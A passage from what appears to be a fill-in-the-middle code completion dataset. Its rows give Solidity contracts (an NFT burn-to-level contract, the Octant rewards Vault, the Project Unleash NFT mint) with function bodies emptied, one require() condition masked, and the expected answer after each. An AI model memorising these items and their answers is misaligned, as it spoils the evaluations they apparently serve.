"Token ID must be greater than the last used token ID for this titan"
);
}
IERC1155(contractAddress).safeTransferFrom(
msg.sender,
DEAD,
tokenId,
1,
""
);
}
// This is the end. My only friend, the end [of the contract].
}
| IERC1155(contractAddress).balanceOf(msg.sender,tokenId)>0,"Only the owner of the token can update the titan level" | 87,496 | IERC1155(contractAddress).balanceOf(msg.sender,tokenId)>0 |
"You do not own this Titan!" | // SPDX-License-Identifier: MIT
/*
.____ .__ .__ .___
| | |__| ________ __|__| __| _/
| | | |/ ____/ | \ |/ __ |
| |___| < <_| | | / / /_/ |
|_______ \__|\__ |____/|__\____ |
\/ |__| \/
___________.__ __
\__ ___/|__|/ |______ ____ ______
| | | \ __\__ \ / \ / ___/
| | | || | / __ \| | \\___ \
|____| |__||__| (____ /___| /____ >
\/ \/ \/
We don't need no water, let that motherf*cker burn!
*/
pragma solidity ^0.8.0;
interface IERC721 {
function ownerOf(uint256 tokenId) external view returns (address owner);
function getApproved(uint256 tokenId) external view returns (address);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC1155 {
function balanceOf(
address account,
uint256 id
) external view returns (uint256);
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
}
contract TitanNFTBurns {
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public Legends = 0x372405A6d95628Ad14518BfE05165D397f43dE1D;
address public Invaders = 0x2f3A9adc5301600Cd9205eF7657cF0733fF71D04;
address public Artifacts = 0xf85906f89aecA56aff6D34790677595aF6B4FBD7;
address public Titans = 0x21d6Fe3B109808Fc69CDaF9829457B0d780Bd975;
address public LiquidDeployer = 0x866cfDa1B7cD90Cd250485cd8b700211480845D7;
// NOTE: We could have done this brute-force with a bunch of static fields, but
// instead we are doing it with a dynamic set of traits contained in the traits
// struct and a mapping into that struct for updates. It's harder and takes
// a bit more gas, but doesn't force us into static traits in the future if
// we add additional items to the list
//
struct TokenBurnContract {
uint256 maxTokenId;
string name;
}
mapping(address => TokenBurnContract) public TokenBurnContracts;
struct TitanLevels {
address contractAddress;
uint256 tokenId;
}
mapping(uint256 => mapping(address => TitanLevels)) public AllTitanLevels;
constructor() {
}
// ------------------------------------------------------------------------
// Add and remove tokens that can be burned, spindled, folded, & mutilated
// ------------------------------------------------------------------------
function addTokenBurnContract(
address contractAddress,
uint256 maxTokenId,
string memory name
) public {
}
function removeTokenBurnContract(address contractAddress) public {
}
function updateTokenBurnContract(
address contractAddress,
uint256 maxTokenId,
string memory name
) public {
}
// -------------------------------------------------------------------------
// The functions used by the account burning the artifact or nfts for traits
// -------------------------------------------------------------------------
function getTitanLevels(
uint256 key,
address addr
) public view returns (TitanLevels memory) {
}
// This requires an approval for the contract and token before it will work
// Go to the original contract and "Approve All" instead of each token id
// to save gas over the long term
event TitanLevelUp(
address indexed owner,
uint256 titanId,
address contractAddress,
string contractName,
uint256 tokenId
);
function updateTitanLevel(
uint256 titanId,
address contractAddress,
uint256 tokenId
) public {
require(
IERC1155(contractAddress).balanceOf(msg.sender, tokenId) > 0,
"Only the owner of the token can update the titan level"
);
require(<FILL_ME>)
TitanLevels storage titanLevel = AllTitanLevels[titanId][
contractAddress
];
if (titanLevel.contractAddress == address(0)) {
titanLevel.contractAddress = contractAddress;
titanLevel.tokenId = tokenId;
} else if (titanLevel.tokenId + 1 == tokenId) {
titanLevel.tokenId = tokenId;
} else {
revert(
"Token ID must be greater than the last used token ID for this titan"
);
}
IERC1155(contractAddress).safeTransferFrom(
msg.sender,
DEAD,
tokenId,
1,
""
);
}
// This is the end. My only friend, the end [of the contract].
}
| IERC721(Titans).ownerOf(titanId)==msg.sender,"You do not own this Titan!" | 87,496 | IERC721(Titans).ownerOf(titanId)==msg.sender |
VaultErrors.MERKLE_ROOT_ALREADY_SET | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.18;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./OctantBase.sol";
import {CommonErrors, VaultErrors} from "./Errors.sol";
/**
* @title Vault
* @dev This contract allows for claiming the rewards from Octant.
*/
contract Vault is OctantBase, ReentrancyGuard {
event EmergencyWithdrawn(address user, uint256 amount);
event Withdrawn(address user, uint256 amount, uint256 epoch);
event MerkleRootSet(uint256 epoch, bytes32 root);
struct WithdrawPayload {
// @notice The epoch number
uint256 epoch;
// @notice The amount to withdraw
uint256 amount;
// @notice The Merkle proof for the rewards
bytes32[] proof;
}
/// @notice epoch => merkle root of the merkle tree containing users and proposals rewards
mapping(uint256 => bytes32) public merkleRoots;
/// @notice user or proposal address => last epoch that rewards were claimed from
mapping(address => uint256) public lastClaimedEpoch;
constructor(address _auth) OctantBase(_auth) {}
/**
* @notice Sets the Merkle root for the given epoch.
* @param epoch The epoch number.
* @param root The Merkle root.
*/
function setMerkleRoot(uint256 epoch, bytes32 root) external onlyMultisig {
require(root != bytes32(0), VaultErrors.INVALID_MERKLE_ROOT);
require(<FILL_ME>)
merkleRoots[epoch] = root;
emit MerkleRootSet(epoch, root);
}
/**
* @notice Allows a user to claim their rewards for multiple epochs.
* Payloads must be put in epochs order and it's only possible to withdraw from epochs higher
* than the lastClaimedEpoch.
* @param payloads An array of WithdrawPayload structs.
*/
function batchWithdraw(WithdrawPayload[] calldata payloads) external nonReentrant {
}
/**
* @dev Allows the multisig to withdraw a specified amount in case of an emergency.
* @param amount The amount to withdraw.
*/
function emergencyWithdraw(uint256 amount) external onlyMultisig {
}
/**
* @dev Verifies the Merkle proof for the given leaf and root.
* @param proof The Merkle proof.
* @param root The Merkle root.
* @param leaf The leaf node.
* @return A boolean value indicating whether the proof is valid.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) public pure returns (bool) {
}
receive() external payable {
}
}
| merkleRoots[epoch]==bytes32(0),VaultErrors.MERKLE_ROOT_ALREADY_SET | 87,558 | merkleRoots[epoch]==bytes32(0) |
VaultErrors.ALREADY_CLAIMED | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.18;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./OctantBase.sol";
import {CommonErrors, VaultErrors} from "./Errors.sol";
/**
* @title Vault
* @dev This contract allows for claiming the rewards from Octant.
*/
contract Vault is OctantBase, ReentrancyGuard {
event EmergencyWithdrawn(address user, uint256 amount);
event Withdrawn(address user, uint256 amount, uint256 epoch);
event MerkleRootSet(uint256 epoch, bytes32 root);
struct WithdrawPayload {
// @notice The epoch number
uint256 epoch;
// @notice The amount to withdraw
uint256 amount;
// @notice The Merkle proof for the rewards
bytes32[] proof;
}
/// @notice epoch => merkle root of the merkle tree containing users and proposals rewards
mapping(uint256 => bytes32) public merkleRoots;
/// @notice user or proposal address => last epoch that rewards were claimed from
mapping(address => uint256) public lastClaimedEpoch;
constructor(address _auth) OctantBase(_auth) {}
/**
* @notice Sets the Merkle root for the given epoch.
* @param epoch The epoch number.
* @param root The Merkle root.
*/
function setMerkleRoot(uint256 epoch, bytes32 root) external onlyMultisig {
}
/**
* @notice Allows a user to claim their rewards for multiple epochs.
* Payloads must be put in epochs order and it's only possible to withdraw from epochs higher
* than the lastClaimedEpoch.
* @param payloads An array of WithdrawPayload structs.
*/
function batchWithdraw(WithdrawPayload[] calldata payloads) external nonReentrant {
require(payloads.length > 0, VaultErrors.EMPTY_PAYLOADS);
uint256 amount = 0;
uint256 claimedEpoch = lastClaimedEpoch[msg.sender];
for (uint256 i = 0; i < payloads.length; i++) {
require(<FILL_ME>)
bytes32 leaf = keccak256(
bytes.concat(
keccak256(abi.encode(msg.sender, payloads[i].amount))
)
);
bytes32 root = merkleRoots[payloads[i].epoch];
require(
verify(payloads[i].proof, root, leaf),
VaultErrors.INVALID_MERKLE_PROOF
);
claimedEpoch = payloads[i].epoch;
amount += payloads[i].amount;
}
lastClaimedEpoch[msg.sender] = claimedEpoch;
emit Withdrawn(msg.sender, amount, claimedEpoch);
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, CommonErrors.FAILED_TO_SEND);
}
/**
* @dev Allows the multisig to withdraw a specified amount in case of an emergency.
* @param amount The amount to withdraw.
*/
function emergencyWithdraw(uint256 amount) external onlyMultisig {
}
/**
* @dev Verifies the Merkle proof for the given leaf and root.
* @param proof The Merkle proof.
* @param root The Merkle root.
* @param leaf The leaf node.
* @return A boolean value indicating whether the proof is valid.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) public pure returns (bool) {
}
receive() external payable {
}
}
| payloads[i].epoch>claimedEpoch,VaultErrors.ALREADY_CLAIMED | 87,558 | payloads[i].epoch>claimedEpoch |
VaultErrors.INVALID_MERKLE_PROOF | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.18;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./OctantBase.sol";
import {CommonErrors, VaultErrors} from "./Errors.sol";
/**
* @title Vault
* @dev This contract allows for claiming the rewards from Octant.
*/
contract Vault is OctantBase, ReentrancyGuard {
event EmergencyWithdrawn(address user, uint256 amount);
event Withdrawn(address user, uint256 amount, uint256 epoch);
event MerkleRootSet(uint256 epoch, bytes32 root);
struct WithdrawPayload {
// @notice The epoch number
uint256 epoch;
// @notice The amount to withdraw
uint256 amount;
// @notice The Merkle proof for the rewards
bytes32[] proof;
}
/// @notice epoch => merkle root of the merkle tree containing users and proposals rewards
mapping(uint256 => bytes32) public merkleRoots;
/// @notice user or proposal address => last epoch that rewards were claimed from
mapping(address => uint256) public lastClaimedEpoch;
constructor(address _auth) OctantBase(_auth) {}
/**
* @notice Sets the Merkle root for the given epoch.
* @param epoch The epoch number.
* @param root The Merkle root.
*/
function setMerkleRoot(uint256 epoch, bytes32 root) external onlyMultisig {
}
/**
* @notice Allows a user to claim their rewards for multiple epochs.
* Payloads must be put in epochs order and it's only possible to withdraw from epochs higher
* than the lastClaimedEpoch.
* @param payloads An array of WithdrawPayload structs.
*/
function batchWithdraw(WithdrawPayload[] calldata payloads) external nonReentrant {
require(payloads.length > 0, VaultErrors.EMPTY_PAYLOADS);
uint256 amount = 0;
uint256 claimedEpoch = lastClaimedEpoch[msg.sender];
for (uint256 i = 0; i < payloads.length; i++) {
require(
payloads[i].epoch > claimedEpoch,
VaultErrors.ALREADY_CLAIMED
);
bytes32 leaf = keccak256(
bytes.concat(
keccak256(abi.encode(msg.sender, payloads[i].amount))
)
);
bytes32 root = merkleRoots[payloads[i].epoch];
require(<FILL_ME>)
claimedEpoch = payloads[i].epoch;
amount += payloads[i].amount;
}
lastClaimedEpoch[msg.sender] = claimedEpoch;
emit Withdrawn(msg.sender, amount, claimedEpoch);
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, CommonErrors.FAILED_TO_SEND);
}
/**
* @dev Allows the multisig to withdraw a specified amount in case of an emergency.
* @param amount The amount to withdraw.
*/
function emergencyWithdraw(uint256 amount) external onlyMultisig {
}
/**
* @dev Verifies the Merkle proof for the given leaf and root.
* @param proof The Merkle proof.
* @param root The Merkle root.
* @param leaf The leaf node.
* @return A boolean value indicating whether the proof is valid.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) public pure returns (bool) {
}
receive() external payable {
}
}
| verify(payloads[i].proof,root,leaf),VaultErrors.INVALID_MERKLE_PROOF | 87,558 | verify(payloads[i].proof,root,leaf) |
"Address does not exist in list" | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/// ///
/// ///
/// ///
/// █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░ ██╗░░░██╗███╗░░██╗██╗░░░░░███████╗░█████╗░░██████╗██╗░░██╗ ░░░░█ ///
/// █░░░░ ██║░░░██║████╗░██║██║░░░░░██╔════╝██╔══██╗██╔════╝██║░░██║ ░░░░█ ///
/// █░░░░ ██║░░░██║██╔██╗██║██║░░░░░█████╗░░███████║╚█████╗░███████║ ░░░░█ ///
/// █░░░░ ██║░░░██║██║╚████║██║░░░░░██╔══╝░░██╔══██║░╚═══██╗██╔══██║ ░░░░█ ///
/// █░░░░ ╚██████╔╝██║░╚███║███████╗███████╗██║░░██║██████╔╝██║░░██║ ░░░░█ ///
/// █░░░░ ░╚═════╝░╚═╝░░╚══╝╚══════╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝ ░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ ///
/// ///
/// ///
/// ///
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// SPDX-License-Identifier: Apache 2.0
pragma solidity ^0.8.12;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ProjectUnleash is
ERC721A,
IERC2981,
Ownable,
Pausable,
ReentrancyGuard
{
using Strings for uint256;
string private contractURIstr = "";
string public baseExtension = ".json";
string public notRevealedUri = "ipfs://Qmbudj6tQ2XGB5ru37Mtd1weXgUxRxF9Bn3Bm5PVW57YZH/";
string private baseURI;
bytes32 public premintlistMerkleRoot;
bytes32 public whitelistMerkleRoot;
uint256 public PUBLIC_PRICE = 0.03 ether;
uint256 public PREMINT_PRICE = 0.027 ether;
uint256 public constant WHITELIST_PRICE = 0.000 ether;
uint256 public royalty = 65;
uint256 public constant NUMBER_RESERVED_TOKENS = 1000; // Team Reverse
bool public revealed = false;
bool public publicListSaleisActive = true;
bool public whiteListSaleisActive = false;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public maxPerTransaction = 3;
uint256 public maxPerWallet = 3;
uint256 public maxPerTransactionWL = 1;
uint256 public maxPerWalletWL = 1;
uint256 public currentId = 0;
uint256 public publiclistMint = 0;
uint256 public whitelistMint = 0;
uint256 public reservedTokensMinted = 0;
bool public testWithDraw = false;
bool public testReserved = false;
mapping(address => uint256) private _publiclistMintTracker;
mapping(address => uint256) private _whitelistMintTracker;
constructor( string memory _name, string memory _symbol) ERC721A("Project Unleash", "ULH"){}
function publicMint(
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PUBLIC_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function preMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
isValidMerkleProof(merkleProof, premintlistMerkleRoot)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PREMINT_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function wlMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(whiteListSaleisActive)
isValidMerkleProof(merkleProof, whitelistMerkleRoot)
canClaimTokenWL(numberOfTokens)
isCorrectPayment(WHITELIST_PRICE, numberOfTokens)
isCorrectAmountWL(numberOfTokens)
isSupplyRemainingWL(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function mintReservedToken(address to, uint256 numberOfTokens)
external
canReserveToken(numberOfTokens)
isNonZero(numberOfTokens)
nonReentrant
onlyOwner
{
}
function withdraw() external onlyOwner {
}
function _startTokenId()
internal
view
virtual
override
returns (uint256)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function contractURI()
external
view
returns
(string memory)
{
}
function numberMinted(address owner)
public
view
returns
(uint256)
{
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function setReveal(bool _reveal)
public
onlyOwner
{
}
function setBaseURI(string memory _newBaseURI)
public
onlyOwner
{
}
function setNotRevealedURI(string memory _notRevealedURI)
public
onlyOwner
{
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setContractURI(string calldata newuri)
external
onlyOwner
{
}
function setWhitelistMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function setPremintMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function pause()
external
onlyOwner
{
}
function unpause()
external
onlyOwner
{
}
function flipPubliclistSaleState()
external
onlyOwner
{
}
function flipWhitelistSaleState()
external
onlyOwner
{
}
function updateSaleDetails(
uint256 _royalty
)
external
isNonZero(_royalty)
onlyOwner
{
}
function isApprovedForAll(
address _owner,
address _operator
)
public
override
view
returns
(bool isOperator)
{
}
function royaltyInfo(
uint256, /*_tokenId*/
uint256 _salePrice
)
external
view
override(IERC2981)
returns (address Receiver, uint256 royaltyAmount)
{
}
modifier isValidMerkleProof(
bytes32[] calldata merkleProof,
bytes32 root
) {
require(<FILL_ME>)
_;
}
modifier canClaimTokenPublic(uint256 numberOfTokens) {
}
modifier canClaimTokenWL(uint256 numberOfTokens) {
}
modifier canReserveToken(uint256 numberOfTokens) {
}
modifier isCorrectPayment(
uint256 price,
uint256 numberOfTokens
) {
}
modifier isCorrectAmount(uint256 numberOfTokens) {
}
modifier isCorrectAmountWL(uint256 numberOfTokens) {
}
modifier isSupplyRemaining(uint256 numberOfTokens) {
}
modifier isSupplyRemainingWL(uint256 numberOfTokens) {
}
modifier isSaleActive(bool active) {
}
modifier isNonZero(uint256 num) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function setPrice(uint256 _price)
public
onlyOwner
{
}
function setPremintPrice(uint256 _price)
public
onlyOwner
{
}
}
| MerkleProof.verify(merkleProof,root,keccak256(abi.encodePacked(msg.sender))),"Address does not exist in list" | 87,662 | MerkleProof.verify(merkleProof,root,keccak256(abi.encodePacked(msg.sender))) |
"Cannot claim more than allowed limit per address" | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/// ///
/// ///
/// ///
/// █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░ ██╗░░░██╗███╗░░██╗██╗░░░░░███████╗░█████╗░░██████╗██╗░░██╗ ░░░░█ ///
/// █░░░░ ██║░░░██║████╗░██║██║░░░░░██╔════╝██╔══██╗██╔════╝██║░░██║ ░░░░█ ///
/// █░░░░ ██║░░░██║██╔██╗██║██║░░░░░█████╗░░███████║╚█████╗░███████║ ░░░░█ ///
/// █░░░░ ██║░░░██║██║╚████║██║░░░░░██╔══╝░░██╔══██║░╚═══██╗██╔══██║ ░░░░█ ///
/// █░░░░ ╚██████╔╝██║░╚███║███████╗███████╗██║░░██║██████╔╝██║░░██║ ░░░░█ ///
/// █░░░░ ░╚═════╝░╚═╝░░╚══╝╚══════╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝ ░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ ///
/// ///
/// ///
/// ///
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// SPDX-License-Identifier: Apache 2.0
pragma solidity ^0.8.12;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ProjectUnleash is
ERC721A,
IERC2981,
Ownable,
Pausable,
ReentrancyGuard
{
using Strings for uint256;
string private contractURIstr = "";
string public baseExtension = ".json";
string public notRevealedUri = "ipfs://Qmbudj6tQ2XGB5ru37Mtd1weXgUxRxF9Bn3Bm5PVW57YZH/";
string private baseURI;
bytes32 public premintlistMerkleRoot;
bytes32 public whitelistMerkleRoot;
uint256 public PUBLIC_PRICE = 0.03 ether;
uint256 public PREMINT_PRICE = 0.027 ether;
uint256 public constant WHITELIST_PRICE = 0.000 ether;
uint256 public royalty = 65;
uint256 public constant NUMBER_RESERVED_TOKENS = 1000; // Team Reverse
bool public revealed = false;
bool public publicListSaleisActive = true;
bool public whiteListSaleisActive = false;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public maxPerTransaction = 3;
uint256 public maxPerWallet = 3;
uint256 public maxPerTransactionWL = 1;
uint256 public maxPerWalletWL = 1;
uint256 public currentId = 0;
uint256 public publiclistMint = 0;
uint256 public whitelistMint = 0;
uint256 public reservedTokensMinted = 0;
bool public testWithDraw = false;
bool public testReserved = false;
mapping(address => uint256) private _publiclistMintTracker;
mapping(address => uint256) private _whitelistMintTracker;
constructor( string memory _name, string memory _symbol) ERC721A("Project Unleash", "ULH"){}
function publicMint(
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PUBLIC_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function preMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
isValidMerkleProof(merkleProof, premintlistMerkleRoot)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PREMINT_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function wlMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(whiteListSaleisActive)
isValidMerkleProof(merkleProof, whitelistMerkleRoot)
canClaimTokenWL(numberOfTokens)
isCorrectPayment(WHITELIST_PRICE, numberOfTokens)
isCorrectAmountWL(numberOfTokens)
isSupplyRemainingWL(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function mintReservedToken(address to, uint256 numberOfTokens)
external
canReserveToken(numberOfTokens)
isNonZero(numberOfTokens)
nonReentrant
onlyOwner
{
}
function withdraw() external onlyOwner {
}
function _startTokenId()
internal
view
virtual
override
returns (uint256)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function contractURI()
external
view
returns
(string memory)
{
}
function numberMinted(address owner)
public
view
returns
(uint256)
{
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function setReveal(bool _reveal)
public
onlyOwner
{
}
function setBaseURI(string memory _newBaseURI)
public
onlyOwner
{
}
function setNotRevealedURI(string memory _notRevealedURI)
public
onlyOwner
{
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setContractURI(string calldata newuri)
external
onlyOwner
{
}
function setWhitelistMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function setPremintMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function pause()
external
onlyOwner
{
}
function unpause()
external
onlyOwner
{
}
function flipPubliclistSaleState()
external
onlyOwner
{
}
function flipWhitelistSaleState()
external
onlyOwner
{
}
function updateSaleDetails(
uint256 _royalty
)
external
isNonZero(_royalty)
onlyOwner
{
}
function isApprovedForAll(
address _owner,
address _operator
)
public
override
view
returns
(bool isOperator)
{
}
function royaltyInfo(
uint256, /*_tokenId*/
uint256 _salePrice
)
external
view
override(IERC2981)
returns (address Receiver, uint256 royaltyAmount)
{
}
modifier isValidMerkleProof(
bytes32[] calldata merkleProof,
bytes32 root
) {
}
modifier canClaimTokenPublic(uint256 numberOfTokens) {
require(<FILL_ME>)
_;
}
modifier canClaimTokenWL(uint256 numberOfTokens) {
}
modifier canReserveToken(uint256 numberOfTokens) {
}
modifier isCorrectPayment(
uint256 price,
uint256 numberOfTokens
) {
}
modifier isCorrectAmount(uint256 numberOfTokens) {
}
modifier isCorrectAmountWL(uint256 numberOfTokens) {
}
modifier isSupplyRemaining(uint256 numberOfTokens) {
}
modifier isSupplyRemainingWL(uint256 numberOfTokens) {
}
modifier isSaleActive(bool active) {
}
modifier isNonZero(uint256 num) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function setPrice(uint256 _price)
public
onlyOwner
{
}
function setPremintPrice(uint256 _price)
public
onlyOwner
{
}
}
| _publiclistMintTracker[msg.sender]+numberOfTokens<=maxPerWallet,"Cannot claim more than allowed limit per address" | 87,662 | _publiclistMintTracker[msg.sender]+numberOfTokens<=maxPerWallet |
"Cannot claim more than allowed limit per address" | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/// ///
/// ///
/// ///
/// █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░ ██╗░░░██╗███╗░░██╗██╗░░░░░███████╗░█████╗░░██████╗██╗░░██╗ ░░░░█ ///
/// █░░░░ ██║░░░██║████╗░██║██║░░░░░██╔════╝██╔══██╗██╔════╝██║░░██║ ░░░░█ ///
/// █░░░░ ██║░░░██║██╔██╗██║██║░░░░░█████╗░░███████║╚█████╗░███████║ ░░░░█ ///
/// █░░░░ ██║░░░██║██║╚████║██║░░░░░██╔══╝░░██╔══██║░╚═══██╗██╔══██║ ░░░░█ ///
/// █░░░░ ╚██████╔╝██║░╚███║███████╗███████╗██║░░██║██████╔╝██║░░██║ ░░░░█ ///
/// █░░░░ ░╚═════╝░╚═╝░░╚══╝╚══════╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝ ░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ ///
/// ///
/// ///
/// ///
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// SPDX-License-Identifier: Apache 2.0
pragma solidity ^0.8.12;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ProjectUnleash is
ERC721A,
IERC2981,
Ownable,
Pausable,
ReentrancyGuard
{
using Strings for uint256;
string private contractURIstr = "";
string public baseExtension = ".json";
string public notRevealedUri = "ipfs://Qmbudj6tQ2XGB5ru37Mtd1weXgUxRxF9Bn3Bm5PVW57YZH/";
string private baseURI;
bytes32 public premintlistMerkleRoot;
bytes32 public whitelistMerkleRoot;
uint256 public PUBLIC_PRICE = 0.03 ether;
uint256 public PREMINT_PRICE = 0.027 ether;
uint256 public constant WHITELIST_PRICE = 0.000 ether;
uint256 public royalty = 65;
uint256 public constant NUMBER_RESERVED_TOKENS = 1000; // Team Reverse
bool public revealed = false;
bool public publicListSaleisActive = true;
bool public whiteListSaleisActive = false;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public maxPerTransaction = 3;
uint256 public maxPerWallet = 3;
uint256 public maxPerTransactionWL = 1;
